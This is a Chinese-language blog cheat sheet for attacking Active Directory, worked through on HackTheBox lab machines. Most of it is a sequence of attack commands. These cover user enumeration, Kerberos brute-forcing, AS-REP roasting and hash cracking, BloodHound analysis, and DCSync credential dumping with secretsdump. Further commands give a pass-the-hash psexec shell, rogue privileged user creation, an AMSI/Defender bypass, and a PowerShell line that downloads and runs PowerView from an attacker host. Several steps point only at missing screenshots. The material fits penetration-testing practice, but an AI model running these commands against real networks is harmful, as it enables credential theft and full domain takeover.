Active Directory渗透测试备忘单|域渗透测试技巧

Active Directory渗透测试备忘单|域渗透测试技巧

破解Active Directory你需要知道的一切

举个例子,这里我使用了一个 htb 盒子

1)获取域名:

crackmapexec smb 10.10.10.175

smbmap -H 10.10.10.175 -u ‘’ -p ‘’

2)尝试获取用户列表:

GetADUsers.py egotistical-bank.local/ -dc-ip 10.10.10.175 -debug
Active Directory渗透测试备忘单|域渗透测试技巧

轻量级目录访问协议 (LDAP)

./windapsearch.py -U — full — dc-ip 10.10.10.182

上面的命令将列出域中的所有用户。

Active Directory渗透测试备忘单|域渗透测试技巧

3)枚举共享:

Active Directory渗透测试备忘单|域渗透测试技巧

4) 从网站的团队名称中获取用户名列表:

./username-anarchy — input-file fullnames.txt — select-format first,flast,first.last,firstl > unames.tx
Active Directory渗透测试备忘单|域渗透测试技巧

5)另一种获取用户列表的尝试:

Active Directory渗透测试备忘单|域渗透测试技巧

6) 获取域库:

ldapsearch -x -h 10.10.10.175 -s base namingcontexts
Active Directory渗透测试备忘单|域渗透测试技巧

7) 要获取有关域的更多信息:

ldapsearch -x -h 10.10.10.175 -b ‘DC=EGOTISTICAL-BANK,DC=LOCAL’
Active Directory渗透测试备忘单|域渗透测试技巧

8) 域上的用户爆破:

kerbrute userenum -d EGOTISTICAL-BANK.LOCAL /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt — dc 10.10.10.175
Active Directory渗透测试备忘单|域渗透测试技巧

9) 获取哈希

我将使用从 Kerbrute 收集的用户列表,并运行GetNPUsers.py来查找易受攻击的用户。三个以不易受攻击的方式返回,但一个给出了哈希值:

GetNPUsers.py ‘EGOTISTICAL-BANK.LOCAL/’ -usersfile users.txt -format hashcat -outputfile hashes.aspreroast -dc-ip 10.10.10.175
Active Directory渗透测试备忘单|域渗透测试技巧

10) 破解哈希

hashcat -m 18200 hashes.aspreroast /usr/share/wordlists/rockyou.txt — force
Active Directory渗透测试备忘单|域渗透测试技巧

11) 猎犬

我又跑winPEAS.exe了,但没有什么新东西扑向我。因为有 AD 的东西,我去了Bloodhound

下载/安装

我会将存储库克隆到/opt,并获得最新版本的二进制文件。我将开始neo4japt install neo4j如果尚未安装)neo4j start,然后运行 ​​Bloodhound。如果您以 root 身份运行,则需要该-no-sandbox标志

如果是全新安装(或者如果您忘记了之前安装的密码,您可以删除/usr/share/neo4j/data/dbms/auth,然后就像全新安装一样),我需要neo4j通过运行neo4j console、访问它返回的 url 并登录来更改密码默认信用,neo4j/neo4j。它会在那时强制密码更改它们。现在BloodHound程序可以连接了,首先想到我需要数据。

运行 SharpHound.exe

在我可以在 BloodHound 中进行分析之前,我需要收集一些数据。我将从SharpHound.exe injestors 文件夹中抓取,并在我的 SMB 共享中制作一个副本。然后我可以直接从那里运行它,输出也会写入共享:

Active Directory渗透测试备忘单|域渗透测试技巧

分析结果

我将.zip通过单击右上角的上传数据按钮将文件导入 BloodHound。Tt 报告成功,让我处于空白页面。有一些可能有用的预制查询,但我喜欢从我已经有权访问的用户开始。我将在左上角的栏中搜索 [email protected],它会出现在图表中。在左侧,我要查找出站对象控制 – 这些是该用户拥有权限的项目。在这种情况下,有一个:

Active Directory渗透测试备忘单|域渗透测试技巧

单击“1”将该项目添加到图表中:

Active Directory渗透测试备忘单|域渗透测试技巧

此帐户有权访问域上的 GetChanges 和 GetChangesAll。谷歌搜索会很快指出关于 DCSync 攻击的文章很少,或者我可以右键单击标签(你必须进入正确的位置)并获取它的菜单:

单击帮助,有一个滥用信息选项卡,其中包含有关如何滥用此权限的说明:

Active Directory渗透测试备忘单|域渗透测试技巧

12) 直流同步

秘密转储

我进行 DCSync 攻击的首选方法是使用secretsdump.py,它允许我从我的 Kali 机器运行 DCSync 攻击,前提是我可以通过 TCP 445 和 135 以及高 RPC 端口与 DC 通信。这避免了与 AV 的冲突,尽管它确实会产生网络流量。

我只需要给它一个格式为的目标字符串[username]:[password]@[ip]

secretsdump.py ‘svc_loanmgr:[email protected]
Active Directory渗透测试备忘单|域渗透测试技巧

13) Shell

psexec.py -hashes ‘aad3b435b51404eeaad3b435b51404ee:d9485863c1e9e05851aa40cbb4ab9dff’ -dc-ip 10.10.10.175 [email protected]
Active Directory渗透测试备忘单|域渗透测试技巧

DCSync 攻击 V2

Active Directory渗透测试备忘单|域渗透测试技巧
Active Directory渗透测试备忘单|域渗透测试技巧
net user john abc123! /add /domainnet group "Exchange Windows Permissions" john /addnet localgroup "Remote Management Users" john /add

上面的命令创建了一个名为 john 的新用户并将他添加到所需的组中。接下来,下载 PowerView 脚本并将其导入当前会话。

Active Directory渗透测试备忘单|域渗透测试技巧

menu > Bypass-4MSI

Bypass-4MSI 命令用于在导入脚本之前逃避防御者。接下来,我们可以将 Add-ObjectACL 与 john 的凭据一起使用,并授予他 DCSync 权限。

Active Directory渗透测试备忘单|域渗透测试技巧
IEX(New-Object Net.WebClient).downloadString('[<http://10.10.14.11/PowerView.ps1>](<http://10.10.14.11/PowerView.ps1>)')$pass = convertto-securestring 'abc123!' -asplain -force$cred = new-object system.management.automation.pscredential('htb\\john', $pass)Add-DomainObjectAcl -Credential $cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity john -Rights DCSync

运行后:

secretsdump.py htb/[email protected]

其中 htb 是域

Impacket 的脚本现在可以作为 john 运行,并用于显示所有域用户的 NTLM 哈希。

Active Directory渗透测试备忘单|域渗透测试技巧

获得的域管理员哈希可用于通过 psexec 登录。

Active Directory渗透测试备忘单|域渗透测试技巧

from

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用 * 标注